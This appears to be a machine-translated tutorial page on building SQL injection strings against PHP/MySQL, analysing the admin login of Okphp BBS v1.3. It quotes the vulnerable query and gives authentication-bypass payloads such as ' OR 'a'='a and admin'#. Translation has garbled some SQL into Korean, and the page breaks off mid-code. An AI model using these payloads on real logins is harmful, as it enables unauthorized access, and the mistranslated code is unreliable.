> php教程 > PHP开发 > php+mysql 주입문 구조에 대해 이야기하기

php+mysql 주입문 구조에 대해 이야기하기

高洛峰
풀어 주다: 2016-11-28 16:23:13
원래의
1074명이 탐색했습니다.

1. 서문:

버전 정보: Okphp BBS v1.3 오픈소스 버전

다운로드 주소: http://www.cncode.com/SoftView.asp?SoftID=1800

PHP와 MYSQL 자체로 인해 PHP+MYSQL의 주입은 asp보다 어렵습니다. 특히 주입 중 명령문 구성은 주로 Okphp BBS v1.3의 일부 파일에 대한 간단한 분석을 사용합니다. php+mysql 주입문의 구성 방법에 대해 이야기해보겠습니다. 이 글이 여러분에게 도움이 되기를 바랍니다.

성명: 기사에 언급된 모든 "취약점"은 테스트되지 않았으며 전혀 존재하지 않을 수도 있습니다. 실제로 허점이 있는지 여부는 중요하지 않습니다. 명령문 구조.

2. "취약성" 분석:

1. Admin/login.php 삽입으로 인해 인증 우회 취약점 발생:

코드:

$conn = sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

$password = md5($password);

$q = "$user_table에서 id,group_id를 선택합니다. 여기서 사용자 이름 = '$username' 및 비밀번호='$password'";

$res = sql_query($q,$conn);

$row = sql_fetch_row($res);

 $q = "사용자 이름='$username' 및 비밀번호='$password'인 $user_table에서 id,group_id 선택"

 $username 및 $password는 필터링되지 않으며 쉽게 우회할 수 있습니다.

사용자 이름='$username' 및 비밀번호='$password'인 select * from $user_table과 같은 명령문의 경우 명령문을 수정하는 방법은 다음과 같습니다.

구성 1(논리 연산 사용) : $username =' OR 'a'='a $password=' OR 'a'='a

SQL 문과 동일:

select * from $user_table where username='' OR 'a '='a' 및 비밀번호='' OR 'a'='a'

구성 2(mysql의 주석 문 #을 사용하고 $password를 주석 처리하려면 /* 사용): $username= admin'# (또는 admin'/*)

즉,

$user_table에서 *를 선택합니다. 여기서 사용자 이름='admin'#' 및 비밀번호='$password'"

에 해당:

Select * from $user_table where username='admin'

admin/login.php에서 $q 문에 있는 $password는 쿼리하기 전에 md5로 암호화되므로 1의 문은 무시됩니다. 여기서는 구성 2를 사용합니다.

사용자 이름='admin'#' 및 비밀번호='$password'"인 $user_table에서 id,group_id를 선택합니다.

와 동일:

$user_table에서 id,group_id를 선택합니다(여기서 username='admin'

admin이라는 사용자가 있는 경우에만 설정됨). 사용자 이름, 해당 ID만 알 수 있습니다.

다음과 같이 구성할 수 있습니다: $username=' OR id=1#

다음과 동일:

id 선택 ,group_id from $user_table 여기서 사용자 이름='' OR id=1 # 및 비밀번호='$password'(# 뒤의 항목은 주석 처리됨)

그런 다음 코드를 살펴봅니다.

if ($row[0]) {

// 관리자나 슈퍼 중재자가 아닌 경우

 if ($username != "admin" && !eregi("(^|&)3( $|&)",$row[1])) {

$login = 0;

}

else {

$login = 1 ;

 // 로그인 실패---------------

 if (!$login) {

 write_log("운영자 로그인 ","0","비밀번호가 틀렸습니다");

 echo "

관련 라벨:
원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 추천
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿